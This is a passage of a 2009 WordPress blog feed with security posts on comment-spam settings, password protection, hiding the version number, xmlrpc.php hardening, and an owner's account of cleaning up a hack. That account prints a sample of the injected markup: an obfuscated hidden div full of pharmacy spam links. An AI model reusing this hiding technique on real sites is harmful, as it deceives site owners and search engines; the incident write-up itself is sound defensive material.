<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-06.gif" alt="[ WordPress Comment Display Settings ]" /></dd>
<dt>E-mail me whenever..</dt>
<dd>Unless your site is literally flooded with comments on every post, getting email alerts for new comments is an excellent way to kill any spam nonsense that gets through. I have done this at <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a> for four years now, and you would be hard-pressed to find even <em>one</em> spam comment anywhere on the site.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-05.gif" alt="[ WordPress Comment Notification Settings ]" /></dd>
<dt>Before a comment appears an administrator must always approve the comment</dt>
<dd>This could get kind of labor-intensive, but it is a 100%-guaranteed way of completely eliminating spam without using any plugins whatsoever. Zero. Nada. Nil. If you are one of the many millions whose blog receives fairly few comments, this method will keep your comments squeaky clean.</dd>
<dt>Comment author must have a previously approved comment</dt>
<dd>A super-effective strategy that is not as labor-intensive as moderating all comments and not as restrictive as requiring registration. The idea here is that you get a chance to &ldquo;meet&rdquo; each one of your commentators and leave the door open only for the good guys. This technique drastically cuts back on human spam, and virtually eliminates automated spam (unless you don&rsquo;t catch it the first time).</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-04.gif" alt="[ WordPress Comment Approval Settings ]" /></dd>
<dt>Hold a comment in the queue if it contains XX or more links</dt>
<dd>Lots of comment spam is just crawling with links. A few mindless words and then BAM &#8212; they drop in a few hundred links. Some of the more subtle spammers are less obvious, but still have to unload their payload somehow, so they usually integrate a couple of links within some not-so-carefully crafted text. You know what I&rsquo;m talking about. You definitely want to moderate anything with more than like two or three links. This trick is great for catching some of the craftier spam maggots.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-03.gif" alt="[ WordPress Comment Link Settings ]" /></dd>
<dt>Comment Moderation Blacklist and Spam Blacklist</dt>
<dd> A finely tuned WordPress Blacklist list eliminates the need for <em>many</em> types of plugins, scripts, and third-party blacklists. Any words, characters, or IP addresses included in either the Moderation or Spam Blacklist will be used to innoculate your site against any matching comments. Granted, it takes a bit of persistence to build up a good list, but once you do, it is very difficult for spammers to get around it. Note that, unless you are absolutely sure, you should probably stick with the Moderation Blacklist (regular expressions are powerful things!).</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-02.gif" alt="[ WordPress Comment Moderation Blacklist ]" /></dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-01.gif" alt="[ WordPress Comment SPam Blacklist ]" /></dd>
</dl>
<p>All of these great anti-spam features are like having fifty plugins already built-in to WordPress. With them, you can configure a powerful anti-spam strategy for just about any type of site without <em>any</em> plugins &#8212; not even Akismet.</p>
<h3>Why not just use a bunch of plugins instead?</h3>
<p>Because you don&rsquo;t <em>have</em> to. Plugins require maintenance, frequent updating, etc. Every upgrade of WordPress and/or your plugins opens the door to possible issues and conflicts. Further, plugins consume valuable server resources, affecting the <strong>performance</strong> and consistency of your site. In general, the fewer plugins you have, the easier and more efficient things are going to be. I guess my feeling is, try to take the &ldquo;zen&rdquo; approach as much as possible &#8212; if something isn&rsquo;t absolutely necessary, don&rsquo;t bother with it. More and more, I am realizing that anti-spam plugins simply aren&rsquo;t needed to run an effective and spam-free site.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/">Permalink</a> | <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/#comments">47 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/&title=You Don&#8217;t Need Any Plugins to Stop Comment&nbsp;Spam">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/plugins/" title="View all posts in Plugins" rel="category tag">Plugins</a>,  <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/feed/</wfw:commentRss>
		<slash:comments>47</slash:comments>
		</item>
		<item>
		<title>Password Protect More Than&#160;the_content()</title>
		<link>http://digwp.com/2009/08/password-protect-more-than-the_content/</link>
		<comments>http://digwp.com/2009/08/password-protect-more-than-the_content/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 00:59:47 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[custom-fields]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=531</guid>
		<description><![CDATA[WordPress has the ability to easily password protect the content of any Post or Page. Right over by that big juicy blue &#8220;Publish&#8221; button, there is an option for Visibility. Click edit, and you have the option to make it password-protected and set a password. 

What happens now?
By default, WordPress will prepend &#8220;Protected: &#8221; to [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress has the ability to easily password protect the content of any Post or Page. Right over by that big juicy blue &#8220;Publish&#8221; button, there is an option for <strong>Visibility</strong>. Click edit, and you have the option to make it password-protected and set a password. </p>
<p><span id="more-531"></span></p>
<h3>What happens now?</h3>
<p>By default, WordPress will prepend &#8220;Protected: &#8221; to the title of the post, and replace the content area (and comments area) with a default message:</p>
<blockquote><p>This post is password protected. To view it please enter your password below:</p></blockquote>
<p>After the message, a form prompting the user to enter a password. It looks like this:</p>
<p><img src="http://digwp.com/wp-content/blog-images/pw-protect-example.png" width="470" height="363" alt="" title="" /></p>
<h3>Shortcomings</h3>
<p>Like we said above, what actually gets &#8220;protected&#8221; is the content of the post and the comments for the post. In the actual theme files, that boils down to:</p>
<ul>
<li><code>&lt;?php the_content(); ?&gt;</code></li>
<li><code>&lt;?php comments_template(); ?&gt;</code></li>
</ul>
<p><strong>Anything else</strong> is <strong>not protected!</strong> This includes pulling and displaying custom fields for that Post. Theoretically, this makese sense, as WordPress works by functions, and cannot be expected to know what&#8217;s going on in every single custom theme. However, custom fields can potentially contain important information that you might <strong>want to be hidden</strong> via password protection.  </p>
<p>Here is a little code snapshot from the single.php template right here on DiW:</p>
<p><img src="http://digwp.com/wp-content/blog-images/codeprotected.png" width="590" height="183" alt="" title="" /></p>
<h3>&#8211; UPDATE &#8211;</h3>
<p>The easiest possible way to password protect additional areas is with this simple function:</p>
<pre><code>&lt;?php
    if ( !post_password_required() ) { 
            echo 'protected stuff'; 
    }
?&gt;</code></pre>
<p>Thanks <a href="http://jayj.dk/">Jay</a>!</p>
<h3>The Password Form</h3>
<p>This is the form code that gets generated for a password protected post:</p>
<pre><code>&lt;form method="post" action="http://digwp.com/wp-pass.php"&gt;
&lt;p&gt;This post is password protected. To view it please enter your password below:&lt;/p&gt;
&lt;p&gt;&lt;label for="pwbox-531"&gt;Password:&lt;br/&gt;
&lt;input type="password" size="20" id="pwbox-531" name="post_password"/&gt;&lt;/label&gt;&lt;br/&gt;
&lt;input type="submit" value="Submit" name="Submit"/&gt;&lt;/p&gt;
&lt;/form&gt;</code></pre>
<p>The ID&#8217;s values for you will be different, but that&#8217;s the gist of it. This is a bit of a tangent, but let&#8217;s say you want to style this form. Good luck, form itself nor the labels or inputs have any class names or ID&#8217;s that you can latch onto to style while not potentially affecting other forms. </p>
<p>I thought about the <code>body_class</code> function for a moment, thinking perhaps password protected posts at least get a class for this, but no dice.</p>
<p><strong>I think this is a problem&#8230; WordPress should get us some hook here!</strong></p>
<h3>Hiding more!</h3>
<p>Fair warning, this is a little hacky, as it&#8217;s going to rely on JavaScript, which is client side technology that can be turned off, rather than server side technology which cannot.</p>
<p>There is <em>one</em> thing that is unique in that password form code above (hence the tangent), that we can look for with JavaScript. The idea is this:</p>
<ol>
<li>Look for password input</li>
<li>If it is present&#8230;</li>
<li>Hide other stuff.</li>
</ol>
<p>We&#8217;ll use jQuery for this, because it makes it easy and that&#8217;s just how I roll. The example below is taken from a site I worked on recently where I was displaying an audio track with custom fields, which was displaying even when the post was protected.</p>
<pre><code>if ( $('input[name="post_password"]').length &gt; 0 ) {
    // hide stuff
    $(".audioplayer").hide();
}</code></pre>
<h3>Dealing with that Title</h3>
<p>One of the other potential annoyances with password-protected posts is how it appends &#8220;Protected&#8221; to post titles. This isn&#8217;t an option, so removing it is a matter of adding a filter to the <code>the_title</code> function. Add this to the functions.php file:</p>
<pre><code>function the_title_trim($title)
{
    $pattern[0] = '/Protected:/';
    $pattern[1] = '/Private:/';
    $replacement[0] = ''; // Enter some text to put in place of Protected:
    $replacement[1] = ''; // Enter some text to put in place of Private:
    
    return preg_replace($pattern, $replacement, $title);
}
add_filter('the_title', 'the_title_trim');</code></pre>
<p>If it&#8217;s not obvious, this will also remove the &#8220;Private: &#8221; from being appended to private post titles.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/08/password-protect-more-than-the_content/">Permalink</a> | <a href="http://digwp.com/2009/08/password-protect-more-than-the_content/#comments">9 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/08/password-protect-more-than-the_content/&title=Password Protect More Than&nbsp;the_content()">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/custom-fields/" rel="tag">custom-fields</a>, <a href="http://digwp.com/tag/jquery/" rel="tag">jquery</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/08/password-protect-more-than-the_content/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>How to Remove the WordPress Version Number (The Right&#160;Way)</title>
		<link>http://digwp.com/2009/07/remove-wordpress-version-number/</link>
		<comments>http://digwp.com/2009/07/remove-wordpress-version-number/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 07:01:13 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=314</guid>
		<description><![CDATA[One of the most commonly seen security tips around the WordPress-o-Sphere has got to be this:
Don’t display your WordPress version number publicly
Many WordPress developers often display the WordPress version in the source code. But having this information publicly available makes it easy for attackers to exploit known vulnerabilities on a particular WordPress version.
This sort of [...]]]></description>
			<content:encoded><![CDATA[<p>One of the most commonly seen security tips around the WordPress-o-Sphere has got to be this:</p>
<blockquote><p><strong><em>Don’t display your WordPress version number publicly</em></strong><br />
<em>Many WordPress developers often display the WordPress version in the source code. But having this information publicly available makes it easy for attackers to exploit known vulnerabilities on a particular WordPress version.</em></p></blockquote>
<p>This sort of thinking is referred to as &ldquo;security through obscurity,&rdquo; and may or may not be an effective way to increase the overall security of your site. </p>
<p><span id="more-314"></span></p>
<p>By default, WordPress executes the <code>wp_generator()</code> function whenever the <code>wp_head()</code> hook is called. Typically, this hook is located in your theme&rsquo;s <code>header.php</code> file within the <code>&lt;head&gt;</code> section of the document markup:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-head-screens.gif" alt="[ Screenshot: wp_head() Hook ]" title="The wp_head() hook as seen via the header.php file" /><br /><small>The wp_head() hook as seen via the header.php file</small></p>
<p>Then, after WordPress processes your web page, the <code>wp_generator()</code> function outputs the following code (depending on page view) to your browser:</p>
<pre><code>&lt;link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://digwp.com/xmlrpc.php?rsd" /&gt;
&lt;link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://digwp.com/wp-includes/wlwmanifest.xml" /&gt; 
&lt;link rel='index' title='Digging into WordPress' href='http://digwp.com/' /&gt;
&lt;meta name="generator" content="WordPress 2.8.1" /&gt;</code></pre>
<p>Notice that last line there? There are many posts on WordPress security that point out how specifying your version number is a security risk. Whether or not this is the case is certainly debatable, but the thinking is that you should <em>avoid</em> revealing this sensitive information in order to prevent attacks targeting specific versions of WordPress.</p>
<p>Now for the fun part. Assuming that sharing your version information is bad, how to go about removing the information? Well, that depends on how savvy you are with WordPress. Here are several methods to prevent WordPress from displaying your version-specific number, ranked in order from the absolute <em>worst</em> way to the absolute <em>right</em> way. That is, until someone shows us how to do it in <em>less</em> than 41 characters&nbsp;;)</p>
<h3>The absolute worst way to remove the WordPress version number</h3>
<p>I have seen <em>recent</em> posts where the author actually recommends <em>deleting</em> the <code>wp_head()</code> hook! Here is an example:</p>
<blockquote><p><em>Study what things this function outputs for you, and just hardcode them into your theme files since these values will unlikely change.</em></p></blockquote>
<p>While there are indeed valid reasons for removing this important WordPress hook, removing the version number from your source code is <em>not</em> one of them.</p>
<h3>A pretty good way to remove the WordPress version number</h3>
<p>Much better than simply deleting the <code>wp_head()</code> hook, this method serves us well by placing the version-removal function in the theme&rsquo;s <code>functions.php</code> file, where it belongs. By returning an empty string for <code>the_generator</code> function, this function removes the version information by preventing output of its <code>&lt;meta&gt;</code> tag:</p>
<pre><code>function remove_version_info() {
     return '';
}
add_filter('the_generator', 'remove_version_info');</code></pre>
<p>This method has the added bonus of removing the version information from not only your blog pages, but from your feeds as well.</p>
<h3>The right way to remove the WordPress version number</h3>
<p>Going a step beyond the previous method, this technique gets the job done quite eloquently, with a mere 41 characters of code:</p>
<pre><code>remove_action('wp_head', 'wp_generator');</code></pre>
<p>Just place that single line into your theme&rsquo;s <code>functions.php</code> and enjoy a small taste of &ldquo;security through obscurity&rdquo;.&nbsp;:)</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/07/remove-wordpress-version-number/">Permalink</a> | <a href="http://digwp.com/2009/07/remove-wordpress-version-number/#comments">30 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/07/remove-wordpress-version-number/&title=How to Remove the WordPress Version Number (The Right&nbsp;Way)">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/header/" rel="tag">header</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/07/remove-wordpress-version-number/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Spam Link Injection Hacked (and How I Hopefully Fixed&#160;It)</title>
		<link>http://digwp.com/2009/06/spam-link-injection-hacked/</link>
		<comments>http://digwp.com/2009/06/spam-link-injection-hacked/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 13:16:48 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=166</guid>
		<description><![CDATA[Just recently my other blog CSS-Tricks was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site.


The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content into [...]]]></description>
			<content:encoded><![CDATA[<p>Just recently my other blog <a href="http://css-tricks.com">CSS-Tricks</a> was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site.</p>
<p><span id="more-166"></span></p>
<p><img src="http://digwp.com/wp-content/blog-images/spamonmobile.PNG" width="320" height="480" alt="" title="" /></p>
<p>The mobile version of my site was built by <a href="http://mobify.me/">Mobify</a>, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be. </p>
<p>This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don&#8217;t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from. </p>
<p>I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn&#8217;t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn&#8217;t.</p>
<p>I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.</p>
<p>Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, <strong>I concluded it must have been a database attack.</strong></p>
<p>Here is what I did:</p>
<ol>
<li><strong>I changed the Admin username and password.</strong> Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a <em>new</em> account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.</li>
<li><strong>I changed the server admins username and password.</strong> My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well. </li>
<li><strong>The database name, database username, and database password was changed.</strong> Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).</li>
<li><strong>I changed the FTP login and password.</strong> If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.</li>
<li><strong>The XMLRPC file was removed.</strong> This file <a href="http://digwp.com/2009/06/xmlrpc-php-security/">is used for</a> pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.</li>
<li><strong>The file permissions where checked.</strong> In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.</li>
</ol>
<h3>What the spam insertion looked like</h3>
<pre><code>&lt;div style=\"\\64\\69\\73\\70\\6c\\61\\79:\\6e\\6f\\6e\\65\"&gt;
&lt;a href=\"http://www.fcit.usf.edu/li/viagra.html\"&gt;viagra&lt;/a&gt;\r\n&lt;a href=\"http://www.fcit.usf.edu/li/free-viagra.html\"&gt;free viagra&lt;/a&gt;\r\n

... lots more ...

&lt;/div&gt;</code></pre>
<p>That &#8220;style&#8221; attribute (inline CSS), when rendered in a typical browser, converted to <code>display: none;</code> and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn&#8217;t converted and thus the div was visible not hidden.</p>
<p>The reason I&#8217;m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren&#8217;t typically visible. I would think that Google doesn&#8217;t give any link credit to links that are in a container with display: none, but perhaps the hacker&#8217;s theory is that the google bot won&#8217;t be able to tell this div is hidden because of the weird code.</p>
<p>I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn&#8217;t be surprised if the site is penalized anyway due to being compromised by spam. </p>
<h3>How I Removed the Links</h3>
<p>Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.</p>
<h3>Crossing My Fingers</h3>
<p>It&#8217;s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can&#8217;t be 100% certain because I&#8217;m not 100% certain what it was to begin with. Of course, posting all this information surely doesn&#8217;t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes. </p>
<h3>Consequences</h3>
<p>Although the spam wasn&#8217;t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It&#8217;s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.</p>
<p>CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I&#8217;m not whining, it just goes to show that <strong>site security is not some abstract nerdy hobby, it&#8217;s serious business</strong> that can have serious consequences.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/">Permalink</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/#comments">29 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/06/spam-link-injection-hacked/&title=Spam Link Injection Hacked (and How I Hopefully Fixed&nbsp;It)">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/06/spam-link-injection-hacked/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>The xmlrpc.php File and Site&#160;Security</title>
		<link>http://digwp.com/2009/06/xmlrpc-php-security/</link>
		<comments>http://digwp.com/2009/06/xmlrpc-php-security/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 14:42:35 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=169</guid>
		<description><![CDATA[Located in the header.php file of most WordPress themes, there is an important hook called wp_head(). This essential hook enables functions to output content to the browser in the &#60;head&#62; area of the web document&#160;1. In newer versions of WordPress, this hook enables WordPress to output the following three lines to your theme&#8217;s &#60;head&#62; section&#160;2:
&#60;link [...]]]></description>
			<content:encoded><![CDATA[<p>Located in the <code>header.php</code> file of most WordPress themes, there is an important hook called <code>wp_head()</code>. This essential hook enables functions to output content to the browser in the <code>&lt;head&gt;</code> area of the web document&nbsp;<sup>1</sup>. In newer versions of WordPress, this hook enables WordPress to output the following three lines to your theme&rsquo;s <code>&lt;head&gt;</code> section&nbsp;<sup>2</sup>:</p>
<pre><code>&lt;link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://digwp.com/xmlrpc.php?rsd" /&gt;
&lt;link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://digwp.com/wp-includes/wlwmanifest.xml" /&gt; 
&lt;link rel='index' title='Digging into WordPress' href='http://digwp.com/' /&gt;
&lt;meta name="generator" content="WordPress 2.8" /&gt;</code></pre>
<p>As you can see, lots of stuff is added, including feed links, <acronym title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</acronym> and <acronym title="Windows Live Writer">WLW</acronym> links, and a couple of other items. While there is plenty to discuss with all of these inclusions, here we are concerned primarily with the link to the <code>xmlrpc.php</code> file. WordPress includes this link for its <a href="http://www.xmlrpc.com/" title="XML-RPC Home Page">XML-RPC</a> interface, which enables remote software applications to communicate and interact with WordPress.</p>
<p><span id="more-169"></span></p>
<h3>What does the xmlrpc.php file do? Do I need it?</h3>
<p>While <a href="http://codex.wordpress.org/XML-RPC_Support" title="WordPress Codex: XML-RPC Support">documentation</a> on WordPress&rsquo; <acronym title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</acronym> is fairly thin, we can glean a partial understanding of how the <code>xmlrpc.php</code> works by stepping through the code in the file itself. Don&rsquo;t worry, we&rsquo;re not going to bore you with that here, but suffice it to say that the <code>xmlrpc.php</code> is required for the following types of activity:</p>
<ul>
<li>Posting directly to your blog using TextMate, Flock, and other weblog clients</li>
<li>Posting directly to your blog using Eudora, Thunderbird, and other email apps</li>
<li>Receiving pingbacks and trackbacks to your site from other blogs</li>
</ul>
<p>Not everyone uses the remote-posting functionality available to them in WordPress, but I think that many blogs are definitely using the <acronym title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</acronym> protocol for the pingback and trackback functionality.</p>
<h3>Does the xmlrpc.php file pose a security risk?</h3>
<p>Some of you may remember the <a href="http://xforce.iss.net/xforce/xfdb/33470" title="WordPress xmlrpc.php security bypass">security risk associated with the xmlrpc.php script</a> back in the good &lsquo;ol days of WordPress 2.1.2, whereby:</p>
<blockquote cite="http://xforce.iss.net/xforce/xfdb/33470"><p>WordPress could allow a remote authenticated attacker to bypass security restrictions, caused by improper validation by the xmlrpc.php script. A remote attacker with contributor permissions could exploit this vulnerability to publish posts to the Web site.</p></blockquote>
<p>This vulnerability was promptly eliminated in version 2.1.3, but shortly thereafter (in version 2.3.1) another security issue was discovered when the <a href="http://wordpress.org/development/2007/12/wordpress-232/" title="WordPress 2.3.2 Released">XML-RPC implementation was found to leak information</a>. Although this was fixed in version 2.3.2, the security concerns associated with the <acronym title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</acronym> protocol eventually led the WordPress devs to <a href="http://www.red-sweater.com/blog/512/wordpress-to-disable-remote-access" title="WordPress To Disable Remote Access">disable remote access by default in version 2.6</a>&nbsp;<sup>3</sup>. The <code>xmlrpc.php</code> file is still included in the document <code>&lt;head&gt;</code> (presumably for the sake of pingbacks and trackbacks), but the remote-access functionality is non-operational until explicitly enabled&nbsp;<sup>3</sup>.</p>
<h3>Security tips for your site&rsquo;s xmlrpc.php file</h3>
<p>At the time of this writing, there are no <em>known</em> vulnerabilities associated with WordPress&rsquo; <acronym title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</acronym> protocol. Even so, there have been security issues with the <code>xmlrpc.php</code> script in the past, and there could certainly exist new problems both now and in the future. Just to be on the safe side, here are a few different strategies and tips to help ensure maximum security for your blog.</p>
<p><strong>If you don&rsquo;t need it, delete it</strong><br />Perhaps the safest way to eliminate potential security vulnerabilities is to simply remove the script in question. If you have no need for remote-posting, pingbacks or trackbacks, it may be easiest to simply remove the <code>xmlrpc.php</code> file from your server. Instead of actually deleting it, you may just want to rename it something unguessable. Either way, if the script isn&rsquo;t available to an attacker, it makes it hard to exploit.</p>
<p><strong>Update:</strong> If you remove (or rename) the <code>xmlrpc.php</code> file from your WordPress installation, you should also implement the function described in the next section to avoid an avalanche of 404 errors (see <a href="#comment-254" title="Jump to comment">this comment</a> for further explanation).</p>
<p><strong>Remove the links to xmlrpc.php and wlwmanifest.xml</strong><br />Alternately, if you aren&rsquo;t needing any remote-access or pingback functionality, you may prefer to simply remove the associated header links rather than deleting any core files from your server. This is easily accomplished with the following function placed in your active theme&rsquo;s <code>functions.php</code> file:</p>
<pre><code>function removeHeadLinks() {
	remove_action('wp_head', 'rsd_link');
	remove_action('wp_head', 'wlwmanifest_link');
}
add_action('init', 'removeHeadLinks');</code></pre>
<p>This will prevent these two files from being linked to in the header, but the files themselves will remain available on your server. Definitely make sure that the default disabling of remote publishing in effect if you implement this method.</p>
<p><strong>Disable the remote-publishing functionality</strong><br />If you don&rsquo;t remote-publish, but you still want to receive pingbacks and trackbacks, take WordPress&rsquo; advice and just leave the remote-access functionality disabled by default. This step alone seems like a tremendous way to help tighten down your blog&rsquo;s security. The file will still be available on your server, but attackers will be able to do much less with it.</p>
<p><strong>Prevent malicious xmlrpc.php directory scanning</strong><br />For those of you who wisely keep an eye on your server access and error logs, you have likely seen a recent surge in the amount of malicious <code>xmlrpc.php</code> directory scanning. For whatever reason, the bad guys are suddenly <em>very</em> interested in <code>xmlrpc.php</code> files, and are scanning every directory they can get their bots on trying to locate them. I have seen <em>tons</em> of this kind of activity lately:</p>
<pre><code>http://domain.tld/2009/xmlrpc.php
http://domain.tld/2009/06/xmlrpc.php
http://domain.tld/2009/06/01/xmlrpc.php
http://domain.tld/2009/06/01/permalink/xmlrpc.php
http://domain.tld/2009/06/02/permalink/xmlrpc.php
http://domain.tld/2009/06/03/permalink/xmlrpc.php
.
.
.</code></pre>
<p>Whether the attackers locate their target or not, this kind of behavior drains system resources, hogs bandwidth, and prevents your site from operating at maximum capacity. Thus, to prevent this malicious behavior from damaging your site, I have devised the following <acronym title="Hypertext Access">HTAccess</acronym> solution:</p>
<pre><code>&lt;IfModule mod_alias.c&gt;
RedirectMatch 301 /(.*)/xmlrpc\.php$ http://domain.tld/xmlrpc.php
&lt;/IfModule&gt;</code></pre>
<p>When placed in the web-accessible root <acronym title="Hypertext Access">HTAccess</acronym> file for your site, this simple directive will redirect all requests for your blog&rsquo;s <code>xmlrpc.php</code> file to the actual file. I have been using this method for several weeks now at <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a> and have eliminated thousands of misdirected requests because of it.</p>
<p><strong>Leave the xmlrpc.php file but prevent access to it</strong><br />Last but not least is a simple method enabling you to leave the file in place on your server but prevent access to it. Perfect if you don&rsquo;t need the script and want to be as lazy as possible about keeping it secure (think no maintenance). Simply paste the following code into your root <acronym title="Hypertext Access">HTAccess</acronym> file and be done with it:</p>
<pre><code>&lt;IfModule mod_alias.c&gt;
